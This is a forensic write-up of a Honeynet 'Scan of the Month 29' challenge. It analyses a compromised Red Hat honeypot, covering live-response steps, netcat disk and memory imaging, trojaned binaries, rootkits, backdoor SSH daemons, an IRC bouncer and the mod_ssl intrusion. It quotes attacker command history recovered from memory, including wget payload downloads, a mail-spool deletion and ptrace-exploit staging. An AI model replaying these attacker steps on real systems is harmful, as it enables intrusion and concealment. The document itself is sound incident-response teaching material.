Created: 29/09/2003 01:26 Scan of the Month 29.

Analysis by German Martin (


Question 1:

Describe the process you used to confirm that the live host was compromised while reducing the impact to the running system and minimizing your trust in the system.




When starting the Vmware virtual machine, first thing that sounded suspicious was the couple of messages about the network interface put in promiscuous mode sent to the console.

If an attacker sets the promiscuous mode for sniffing, it usually tries to hide this fact by modifying the ‘ifconfig’ command, so I decided to take these initial actions:

1.       Create a CD-ROM containing all the linux tools & commands I could probably use, compiled in static mode. That included, among many others, ls, find, netstat, strings, dd, bash, lsof, md5sum,cat, vi, strace, ifconfig and nc.

2.       Mount the cd, with the command:

mount /dev/cdrom /mnt/cdrom

Fortunately, both the device file and mount directory existed, and so my cd was mounted successfully.

3.       Check the ifconfig binary, using my trusted static md5sum command:

/mnt/cdrom/md5sum /sbin/ifconfig

bbdf9f3d6ed21c03b594adcd936c2961  /sbin/ifconfig

which differs from the checksum provided:

e984302652a0c59469a0d8826ae3cdeb  /sbin/ifconfig

and proves that the system has indeed been compromised. Note that the opposite is not true: if the checksum had resulted in the same value, it does not imply that the ifconfig binary was not modified. I was using a trusted ‘md5sum’ binary, but the system kernel could have been modify to return fake information.


Question 2:

Explain the impact that your actions had on the running system.




My initial commands modified the running system in the following ways:

1.       The mounting of the cdrom modified the /etc/mtab. Also, if there were files under /mtn/cdrom, they would have been hidden.

2.       Checking MD5 checksum of /sbin/ifconfig modifies the access time of the file. To prevent losing this information, a previous ‘/mnt/cdrom/stat’ or ‘/mnt/cdrom/ls’ command could have been performed on it.

Obviously, the advantage of having a permanent ‘snapshot’ in Vmware is that I could have run a complete ‘md5sum’ of the complete file system, and restore the initial snapshot when finished, but that is something impossible to do in a real running system.

Even that, without breaking the rule of not restoring the snapshot, we can take advantage of Vmware and do the initial checking in a more clean way, doing this:

1.       Create another Vmware instance, with a clean Linux RedHat 7.2.

2.       Add the ‘linux.vmdk’ (the file containing the Vmware virtual disk) from the sotm as a SECOND disk, mounting it read-only.

3.       Check all the files you want with the clean md5sum command.

That way, nothing would be modified in the system provided, as we had not even run it. Anyway, it seemed a kind of ‘cheating’ as the purpose of the challenge was to analyze a running system.



Question 3:

List the PID(s) of the process(es) that had a suspect port(s) open (i.e. non Red Hat 7.2 default ports).




The following PIDs were found suspicious:



Program name




‘smbd –D’

TCP 80

TCP 2003





TCP 65336

TCP 65436

TCP 65336

TCP 1149

TCP 1146



Connected to

Connected to

Connected to



TCP 3128




UDP 3049



Port 80 is, obviously, a normal port in a default Red Hat 7.2. What is not normal is having a program posing as a Samba daemon (note that the program is NOT smbd with option –D, but a binary called ‘smbd –D’) with the http port open.


Description of analysis:


In order to get a list of running processes and connections, we could not trust the commands. Moreover, even if using my trusted statically linked binaries, if a LKM rootkit had been installed, some information could be hidden from us. For example, the adore rootkit (see, among many other references, hides some connections by searching for a certain string in the ‘write’ system call if the command is called ‘netstat’.

So, I decided to take the approach of having renamed ‘netstat’ and ‘ps’ commands in my cdrom, called something else.

The output from my renamed netstat command was as follows:

# /mnt/cdrom/n –anp


Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name  

tcp        0      0   *               LISTEN      845/smbd           

tcp        0      0    *               LISTEN      732/xinetd         

tcp        0      0    *               LISTEN      3137/smbd -D       

tcp        0      0   *               LISTEN      677/identd         

tcp        0      0  *               LISTEN      3137/smbd -D       

tcp        0      0    *               LISTEN      732/xinetd         

tcp        0      0    *               LISTEN      699/sshd           

tcp        0      0    *               LISTEN      732/xinetd         

tcp        0      0 *               LISTEN      15119/initd        

tcp        0      0  *               LISTEN      25241/xopen        

tcp        0      0  *               LISTEN      759/sendmail: accep

tcp        0      0   *               LISTEN      3137/smbd -D       

tcp        0      0 *               LISTEN      15119/initd        

tcp        0      0    ESTABLISHED 15119/initd                          

tcp        0      0        ESTABLISHED 15119/initd        

tcp        0      0    ESTABLISHED 15119/initd        

udp        0      0*                           850/nmbd           

udp        0      0   *                           850/nmbd           

udp        0      0*                           850/nmbd           

udp        0      0   *                           850/nmbd           

udp        0      0  *                           25239/xopen        

Active UNIX domain sockets (servers and established)

Proto RefCnt Flags       Type       State         I-Node PID/Program name    Path

unix  2      [ ACC ]     STREAM     LISTENING     943    778/gpm             /dev/gpmctl

unix  4      [ ]         DGRAM                    7984   3247/syslogd        /dev/log

unix  2      [ ]         DGRAM                    15679  732/xinetd         

unix  2      [ ]         DGRAM                    7993   3252/klogd         

unix  2      [ ]         DGRAM                    1078   893/login -- root  

unix  2      [ ]         DGRAM                    990    820/crond          

unix  2      [ ]         DGRAM                    924    759/sendmail: accep

unix  2      [ ]         DGRAM                    834    677/identd         

unix  2      [ ]         DGRAM                    804    657/apmd           

unix  2      [ ]         STREAM     CONNECTED     417    1/init             

Active IPX sockets

Proto Recv-Q Send-Q Local Address              Foreign Address            State

Which showed the suspicious programs ‘xopen’, ‘initd’, and smbd. Moreover, how it comes that there are TWO smbd daemons running in the system, and one with ports 80 & 2003 listening?

The output from the renamed ‘ps’ command was also interesting:

# /mnt/cdrom/s ax


    1 ?        S      0:05 init

    2 ?        SW     0:00 [keventd]

    3 ?        SW     0:00 [kapm-idled]

    4 ?        SWN    0:00 [ksoftirqd_CPU0]

    5 ?        SW     0:00 [kswapd]

    6 ?        SW     0:00 [kreclaimd]

    7 ?        SW     0:00 [bdflush]

    8 ?        SW     0:00 [kupdated]

    9 ?        SW<    0:00 [mdrecoveryd]

   17 ?        SW     0:04 [kjournald]

   92 ?        SW     0:00 [khubd]

  657 ?        S      0:00 /usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-scripts/apmscript

  677 ?        S      0:00 identd -e -o

  685 ?        S      0:00 identd -e -o

  686 ?        S      0:00 identd -e -o

  695 ?        S      0:00 identd -e -o

  696 ?        S      0:00 identd -e -o

  699 ?        S      0:00 /usr/sbin/sshd

  732 ?        S      0:00 xinetd -stayalive -reuse -pidfile /var/run/

  759 ?        S      0:00 sendmail: accepting connections

  778 ?        S      0:00 gpm -t ps/2 -m /dev/mouse

  820 ?        S      0:00 crond

  845 ?        S      0:00 smbd -D

  850 ?        S      0:00 nmbd -D

  893 tty1     S      0:00 login -- root    

  894 tty2     S      0:00 /sbin/mingetty tty2

  895 tty3     S      0:00 /sbin/mingetty tty3

  896 tty4     S      0:00 /sbin/mingetty tty4

  899 tty5     S      0:00 /sbin/mingetty tty5

  900 tty6     S      0:00 /sbin/mingetty tty6

  901 tty1     S      0:00 -bash

 3137 ?        S      0:03 smbd -D

 3153 ?        S      0:00 (swapd)

 3247 ?        S      0:00 syslogd -m 0

 3252 ?        S      0:00 klogd -2

25239 ?        S      0:00 /lib/.x/s/xopen -q -p 3128

25241 ?        S      0:00 /lib/.x/s/xopen -q -p 3128

25247 ?        S      0:00 /lib/.x/s/lsn

15119 ?        S      0:00 initd

16215 pts/1    R      0:00 ps -ax

It showed the already suspicious processes initd (15119), xopen (25239 & 25241) and smbd –D (3137). Also the (swapd)  process (3153) and lsn (25247) were suspicious.

Just for checking, I decided to make an script that would do the following actions:

1.       Try to enter directory /proc/<num>, being <num> 1 to 99.999.

2.       If that directory exists, gather all the information from the process:

                                                               i.      Command line, from /proc/<num>/cmdline

                                                             ii.      Current working directory, from /proc/<num>/cwd

                                                            iii.      Environment, from /proc/<num>/environ

                                                            iv.      Files, opened, entering /proc/<num>/fd and doing an ‘ls’.

                                                              v.      Summary of status, from /proc/<num>/status

The script is available here. The output obtained is also available here.

It showed no new processes, but confirmed the processes with open sockets and also give a lot of extra information. For example, the process 3137 is not ‘smbd’ with option –D, but a binary called ‘smbd –D’ (that is, smbd space –D), posing as a normal samba daemon under /usr/bin.

Also, some processes still had some deleted files open already deleted files, that meaning I could use them to recover these files. For example, process 3137 had the httpd error log file /var/log/httpd/error_log opened, so I could recover it doing:

/mnt/cdrom/cat /proc/3137/fd/15  |  /mnt/cdrom/nc 7777

being my own system, where I had a netcat listening as:

nc –l 7777 > /recovered/var/log/httpd/error_log.

That way, I was able to recover several log files, as /var/log/messages, httpd error logs and smbd error logs.

None of the running processes had its binary deleted. Had this been the case, I could have recovered it using the /proc/<num>/exe link.

Anyway, using the netcat method, I transferred all the running binaries to my system for later analysis. At that time, I had already copied the whole file system with dd & netcat, but copied them again just for being in the safe side, in case of the file system image being somehow corrupted or not in a stable state.

Just for checking, I decided to run nmap command against the running vmware. This is probably something you should not do in a real system, as it could trigger a lot of actions in the analyzed system. But, remember, we are here for fun…

Nmap showed no new info:

Starting nmap V. 3.00 ( )

Interesting ports on  (

(The 65523 ports scanned but not shown below are in state: closed)

Port       State       Service

21/tcp     open        ftp                    

22/tcp     open        ssh                     

23/tcp     open        telnet                 

79/tcp     open        finger                 

80/tcp     open        http                   

113/tcp    open        auth                   

139/tcp    open        netbios-ssn            

443/tcp    open        https                  

2003/tcp   open        cfingerd               

3128/tcp   open        squid-http             

65336/tcp  open        unknown                

65436/tcp  open        unknown




Question 4:

Were there any active network connections? If so, what address(es) was the other end and what service(s) was it for?




 There were just three active connections, as seen in question 3:


Program name





TCP 65336

TCP 1149

TCP 1146

Connected to

Connected to

Connected to

/etc/opt/psybnc/initd turned out to be ‘psybnc’ package (See for details). The connections are IRC proxied connections, so the real user IP address is hidden.

Client is ( From there, the attacker is connected through psybnc to two IRC servers: ( and (

Connections are active, and there have been IRC activity, as I could recover several IRC conversations from memory. See here.


Description of analysis:


For analyzing the file system, I decided to take a complete image of the memory, disk and swap, using netcat, as the very first action after question 1:

1.     /mnt/cdrom/dd if=/dev/mem bs=4096 | /mnt/cdrom/nc 5555

2.     /mnt/cdrom/dd if=/dev/swap bs=4096 | /mnt/cdrom/nc 6666 

3.       /mnt/cdrom/dd if=/dev/hda1 bs=4096 | /mnt/cdrom/nc 7777

while, at the same time, running these commands in my system:

1.     nc –l 5555 > /recovered/memory

2.     nc –l 6666 > /recovered/swap

3.       nc –l 7777 > /recovered/disk

I could then use the /recovered/disk for offline analysis, using autopsy or mounting it read-only.

 Investigating the /etc/opt/psybnc directory, I found a lot of files. Under /etc/opt, there is the file /etc/opt/psyBNC2.3.1.tar.gz. This file contains the psyBNC 2.3.1 package.

Searched for psyBNC in google and found that is an IRC proxy that allows anonymization.

psyBNC was downloaded & installed by our hacker at Aug 10 15:57, considering MAC times of file psyBNC2.3.1.tar.gz.

Also, I recovered portions of the commands executed by the attacker from system memory (available here). Among them, the following lines explained what happened:

cd /etc/opt

ls -a


tar -xzvf psyBNC2.3.1.tar.gz

cd psybnc

ls -a

make menuconfig

make menuconfig-curses

ls -a

vi psybnc.conf









rm -rf /var/spool/mail/root


ls -a

vi salt.h

ls -a

rm -rf salt.h

mv psybnc initd



That is, he downloaded the psyBNC version 2.3.1 package from Unpackaged it, compile it (see make commands), and edited the configuration file psybnc.conf. After that, moved the main binary to ‘initd’ and started it.

From the psybnc.conf file, we can obtain quite interesting information:

Extracted files from package above. The configuration file 'psybnc.conf' shows several entries, among them:













So, psyBNC was configured to talk to server, with nick '[[[kgb]]]', and into channels #radioactiv & #RedCode, if using user 'sic'.

And with user and nick 'redcode', into channels #AiaBuni & #RedCode.

The system uses ports 65336 & 65436 for incoming connections, and standard 6667 IRC port for outgoing ones.

Also, searching for strings “kgb”, “redcode” and “” in the copied system memory, I could recover several parts of IRC conversations.



Question 5:

How many instances of an SSH server were installed and at what times?




The following SSH server instances were found in the system:


Configuration file(s)


/usr/bin/smbd –D

/usr/include/iceconf.h (sshd config file. Listen in port 2003)

/usr/include/iceseed.h (random seed)

/usr/include/icekey.h (host private key)

/usr/include/icepid.h (PID file)

Installed at Aug 10 2003 13:33., downloaded with wget from, and installed with script ‘install’.


/lib/.x/s/sshd_config (sshd config file. Listen in port 3128)

/lib/.x/s/s_h_k (host private key)

Installed at Aug 10 2003 15:32, according to timestamps.


/usr/lib/sp0_cfg (sshd configuration file. Listen in port 345).

/usr/lib/sp0_key (host private key).

/usr/lib/sp0_seed (random seed).

/var/run/ (pid file)

Installed at Aug 10 2003 15:30, downloaded from through this installation script.


Standard RedHat 7.2 ssh daemon.



Installed at system installation. According to the timeline, that happened at Aug 6 2003.



Description of analysis:


In order to determine the SSH servers installed, I analyzed all the different/added files in the offline file system, by generating a new MD5 checksum for all the files and generating a diff file (see Forensics Analysis of all files found).


Of all the files, only three were executables that contained what looked as an SSH server (using strings). Those were /usr/bin/smbd –D, /lib/.x/s/xopen & /usr/lib/sp0, apart from the standard /usr/sbin/sshd, that was still there.


a) The origin of the first one, was found when the following history commands were found in memory:


tar -zxvf rk.tar.gz

cd sand



I downloaded the rk.tar.gz package, to discover that it was the sucKIT rootkit. The install script copied & run the ‘crontabs’ binary, that in turns run ‘smbd –D’. The autopsy timeline confirms the time:


Sun Aug 10 2003 13:33:33

                           672527 ..c -/-rwxr-xr-x 0        0        92030    /usr/bin/smbd -D


b) The xopen file was created at Aug 10 15:32, according to the timeline.


c) The sp0 server was installed at Aug 10 15:30, according to the timeline:



 Sun Aug 10 2003 15:30:54

                              532 ..c -/-rw-r--r-- 48       48       47161    /usr/lib/sp0_key

                              248 .a. -/-rw-r--r-- 0        0        18208    /usr/include/asm/cache.h

                             1016 mac -/-rw-r--r-- 0        0        47171    /usr/lib/cleaner.o

                                3 .a. l/lrwxrwxrwx 0        0        62616    /usr/bin/cc -> gcc

                               14 .a. l/lrwxrwxrwx 0        0        46283    /boot/kernel.h -> kernel.h-2.4.7

                             2359 .a. -/-rw-r--r-- 0        0        18269    /usr/include/asm/posix_types.h

                             5725 .a. -/-rw-r--r-- 0        0        77510    /usr/include/linux/spinlock.h

                             4267 .a. -/-rw-r--r-- 0        0        77455    /usr/include/linux/rhconfig.h

                              208 .a. -/-rw-r--r-- 0        0        18260    /usr/include/asm/page_offset.h

                             3284 .a. -/-rw-r--r-- 0        0        18259    /usr/include/asm/page.h

                                9 m.c l/lrwxrwxrwx 0        0        47172    /root/.bash_history -> /dev/null

                            13375 .a. -/-rw-r--r-- 0        0        18270    /usr/include/asm/processor.h

                            10423 .a. -/-rw-r--r-- 0        0        77361    /usr/include/linux/module.h

                             1242 .a. -/-rw-r--r-- 0        0        77429    /usr/include/linux/posix_types.h

                             5636 ..c -/-rw-r--r-- 0        0        47169    /usr/lib/adore.o

                              422 .a. -/-rw-r--r-- 0        0        77528    /usr/include/linux/threads.h

                              152 .a. -/-rw-r--r-- 0        0        18276    /usr/include/asm/segment.h

                              513 ..c -/-rw-r--r-- 48       48       47164    /usr/lib/sp0_seed

                              621 ..c -/-rw-r--r-- 48       48       47166    /usr/lib/sp0_cfg

                           230163 ..c -/-rwx------ 48       48       47165    /usr/lib/sp0


That was made with the script redcode_rootkit_install, at the following lines:


wget -q

wget -q

wget -q

wget –q


Question 6:

Which instances of the SSH servers from question 5 were run?




 The following SSH servers were run:


Configuration file(s)


/usr/bin/smbd –D

/usr/include/iceconf.h (sshd config file. Listen in port 2003)

/usr/include/iceseed.h (random seed)

/usr/include/icekey.h (host private key)

/usr/include/icepid.h (PID file)

Running as pid 3137


/lib/.x/s/sshd_config (sshd config file. Listen in port 3128)

/lib/.x/s/s_h_k (host private key)

Running  as pid 25241 & 25239 (latest is not running as a SSH server).


Standard RedHat 7.2 ssh daemon.



Running as pid 699, at system boot up at Aug 9 14:34.



Description of analysis:


 Obviously, the servers that currenly have a PID associated were run at least once.

a) smbd –D was started through script ‘install  from sk.tar.gz at Aug 10 15:54:

Sun Aug 10 2003 15:54:18      539 .a. -/-rw------- 0        0        91850    /usr/include/icekey.h

                              692 .a. -/-rw-r--r-- 0        0        92015    /usr/include/iceconf.h

                            13707 .a. -/-r-x------ 0        0        92028    /usr/bin/crontabs

                              512 .a. -/-rw------- 0        0        92007    /usr/include/iceseed.h

                            16452 .a. -/-rwxr-xr-x 0        0        47174    /root/sslstop/sslstop

                           672527 .a. -/-rwxr-xr-x 0        0        92030    /usr/bin/smbd –D


b) xopen was run by script /lib/.x/s/.boot.

c) standard sshd was started at system boot, checking /var/run/ contents & MAC times.

d) The only instance left, /usr/lib/sp0, it was installed, but never run. Reasoning is as follows: it uses the file /var/run/ for keeping its PID. (seeing through debugging). As the file has not changed since standard sshd started, sp0 has never started.


Question 7:

Did any of the SSH servers identified in question 5 appear to have been modified to collect unique information? If so, was any information collected?




The /lib/.x/s/xopen instance serves a double purpose.

 One process is a ‘standard’ Trojan sshd daemon, with a special password integrated in the binary, allowing access to the hacker.

 The other is a TTY sniffer, sniffing all tty input in the system and sending them through UDP to a spy client, if the correct UDP packet is received. Unfortunately, it didn’t collect any information for two reasons: first, there was no tty activity at all and, second, it is based in the SucKIT rootkit kernel module, that failed to be installed correctly.


Description of analysis:


 This was analyzed through disassembling the files with my –still under development, and not public- FIFA tool (see sample report here) and analyze the output.

Also, the log files for the installation of SucKIT shows that the LKM failed continuously:

From /lib/.x/install.log:


# SucKIT version 1.3b by Unseen <> #


RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]

…And many similar lines…

In /lib/.x/hide.log, same problem:


# SucKIT version 1.3b by Unseen <> #


RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]


Question 8:

Which system executables (if any) were trojaned and what configuration files did they use?




Several system files were modified by the attack. All of them were found by comparing the md5 list of all the files given with one generated from the image disk mounted offline. The diff file generated this way is available here .

A summary of what I found is showed here:


System executables troyaned



File name:

1.      /bin/netstat

2.      /bin/ps

3.      /bin/ls

4.      /bin/pico

5.      /sbin/ifconfig

6.      /usr/bin/top


Configuration file used:

1.      /dev/ttyoa, contain addreses to hide.

2.      /dev/ttyop, contain processes to hide.

3.      /dev/ttyof, contain files to hide.

4.      None. It appears to be a standard ‘pico’editor.

5.      None. It hides the ‘PROMISC’ status of the interface.

6.      /etc/psdevtab, contains tty’s to hide.












All of them were inside the package rk.tar.gz, downloaded & installed by the attacker at Aug 10 13:33. The original system files were moved to /usr/lib/libshift. All these actions were performed by the recovered installation script /tmp/sand/install.


The configuration file used in each case was found by using ‘strings’ & ‘strace’ commands.


System configuration files modified



 /etc/rc.d/init.d/functions, a line was added to start the ‘usr/bin/crontabs -t1 -X53 –p’ command at system start.

/etc/rc.d/rc.sysinit, was modified to load kernel modules regardless of system configuration.

/etc/httpd/conf/httpd.conf, was modified to listen SSL connections in port 114 instead of default 443, through the use of the sslstop & sslport binaries.










Other system files modified since initial MD5 provided



·        /.bash_history

·        /root/.bash_history

·        /var/lib/slocate/slocate.db

·        /var/lib/random-seed

·        /var/log/wtmp

·        /var/log/secure

·        /var/log/maillog

·        /var/log/cron

·        /var/log/boot.log

·        /var/cache/man/whatis

·        /var/cache/samba/

·        /var/cache/samba/connections.tdb

·        /var/lock/subsys/netfs

·        /var/lock/subsys/identd

·        /var/lock/subsys/xinetd

·        /var/lock/subsys/smb

·        /var/lock/subsys/atd

·        /var/run/utmp

·        /var/run/runlevel.dir

·        /var/run/

·        /var/run/

·        /var/run/

·        /var/run/

·        /var/run/

·        /var/run/

·        /var/run/

·        /var/run/

·        /var/run/

·        /var/run/

·        /var/run/

·        /var/run/

·        /var/spool/mail/root

·        /var/spool/anacron/cron.daily

·        /var/spool/anacron/cron.weekly

·        /etc/mtab

·        /etc/mail/statistics

·        /etc/aliases.db

·        /etc/adjtime

·        /etc/samba/secrets.tdb









The vast majority of them are modified in a ‘normal’ start-up of the system after all the MD5 checksums were taken, but some were the consequence of direct hacker action. Aditionally, a lot of files were created in the attack. For a complete description of all the files found, see Forensics Analysis of all files found.


Question 9:

How and from where was the system likely compromised?




 The system was hacked at 10 Aug 2003 13:24, from address (, using the apache mod-ssl vulnerability (see CIAC Advisory M-125, Red Hat Security Advisory RHSA-2002:155-11, CERT Advisory CA-2002-27 Apache/mod_ssl Worm, or  CERT® Advisory CA-2002-23 Multiple Vulnerabilities In OpenSSL.”. 


Description of analysis:


 Analysis of the timeline obtained with autopsy showed the first non-standard system file at Aug 10 2003 13:33:19  (/usr/bin/sl2). At 13:32 several files appear deleted:

Sun Aug 10 2003 13:30:00        0 .a. -rw-r--r-- 0        0        77647    <honeypot.dsk-dead-77647>

                            26780 .a. -/-rwxr-xr-x 0        0        45661    /bin/date

Sun Aug 10 2003 13:32:38        0 .a. -rw------- 48       0        3187     <honeypot.dsk-dead-3187>

                                0 .a. -rw------- 48       0        45309    <honeypot.dsk-alive-45309>

Sun Aug 10 2003 13:33:19    32756 .a. -/-rwxr-xr-x 0        0        92011    /bin/ps

                            48856 .a. -/-rwxr-xr-x 0        0        92017    /usr/bin/top

                             4060 .a. -/-rwxr-xr-x 0        0        92009    /usr/bin/sense

                            36692 .a. -/-rwxr-xr-x 0        0        92022    /bin/ls

                             8268 .a. -/-rwx------ 0        0        92010    /usr/bin/sl2

                                2 .a. -/-rw-r--r-- 0        0        92023    /usr/lib/libsss

                               98 .a. -/-rwx------ 0        0        92006    /usr/bin/logclear

Sun Aug 10 2003 13:33:31    11612 .a. -/-rwxr-xr-x 0        0        45666    /bin/sleep

Sun Aug 10 2003 13:33:32     5712 .a. -/-rwxr-xr-x 0        0        45829    /sbin/minilogd

                            19748 .a. -/-rwxr-xr-x 0        0        45819    /bin/usleep

Sun Aug 10 2003 13:33:33    78892 ..c -/-rwxr-xr-x 0        0        62620    /usr/bin/i386-redhat-linux-gcc


After that, LOTS of files under /usr/bin & /bin appear as created, accessed or modified (it was later determined that one of the rootkits installation scripts messed around with the MAC times of the files). So it was clear that the attack took place more or less at that time.

In question 3, I recovered several log files that had been deleted. In /var/log/httpd/access_log, the following information was found: - - [10/Aug/2003:13:16:27 -0700] "GET / HTTP/1.1" 400 385 "-" "-" - - [10/Aug/2003:13:16:37 -0700] "GET / HTTP/1.1" 400 385 "-" "-" - - [10/Aug/2003:13:23:17 -0700] "GET /sumthin HTTP/1.0" 404 279 "-" "-"


This shows three connections to the system web server, last one looking for un unknown file.


In the recovered /var/log/httpd/ssl_engine_log, this entries are found:


[10/Aug/2003 13:24:29 02937] [error] SSL handshake failed (server localhost.localdomain:443, client (OpenSSL library error follows)

[10/Aug/2003 13:24:29 02937] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different

[10/Aug/2003 13:32:38 03024] [error] SSL handshake failed (server localhost.localdomain:443, client (OpenSSL library error follows)

[10/Aug/2003 13:32:38 03024] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different

[10/Aug/2003 13:40:28 03272] [error] Child could not open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.800 (System error follows)

[10/Aug/2003 13:40:28 03272] [error] System: No such file or directory (errno: 2)

[10/Aug/2003 13:40:29 03273] [error] Child could not open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.800 (System error follows)

[10/Aug/2003 13:40:29 03273] [error] System: No such file or directory (errno: 2)


and thousands of lines like the last four, with the SSLMutex error.



This matches the description of the mod_ssl attack found in CIAC Advisory M-125:
“Reports received by the CERT/CC indicate that Apache systems may subsequently log 
messages similar to the following: 
[error] SSL handshake failed: HTTP spoken on HTTPS port; trying to send HTML error page 
(OpenSSL library error follows)
[error] OpenSSL: error:1407609C:SSL routines:SSL23_GET_CLIENT_HELLO:http request [Hint: 
speaking HTTP to HTTPS port!?]
Compromise by the Apache/mod_ssl worm indicates that a remote attacker can execute arbitrary code as the apache user on the victim system. It may be possible for an attacker to subsequently leverage a local privilege escalation exploit in order to gain root access to the victim system”.


As an added evidence, I found in memory the string “wget”. I downloaded this file, and determined it was a massive scanner of web servers looking for the mod_ssl vulnerability, with the openssl-too-open : OpenSSL remote exploit by Solar Eclipse ( included.


See “Analysis of the ATD OpenSSL Mass Exploiter” by LURHQ Threat Research Group for a detailed explanation of it.


For privilege escalation to root, attacker used the binary /dev/shm/k, an exploit of the ‘ptrace’ vulnerability.


Some strings recovered from memory shows this:


ps aux | grep apache

kill -9  21510  21511 23289  23292 23302

chmod 777 /dev/shm/k



Confirming the hypothesis.


Bonus Question:

What nationality do you believe the attacker(s) to be, and why?




I would bet… er… ten dollars…that the attacker is Romanian.

There are several circunstancial evidences in favor of this theory:

1.       The initial attack came from a system in Romania (

2.       The attacker connected to the psyBNC IRC proxy from Romania (

3.       At least one of the rootkit installation scripts (.boot) is in Romanian.

4.       There are several sentences in Romanian in the recovered IRC sessions.





·         Script for gathering processs information from /proc.

·         Information gathered from /proc.

·         IRC activity found in memory.

·         Fragments of command history recovered from memory.

·         Differences in MD5 checksums.

·         Complete analysis of all changed or added files.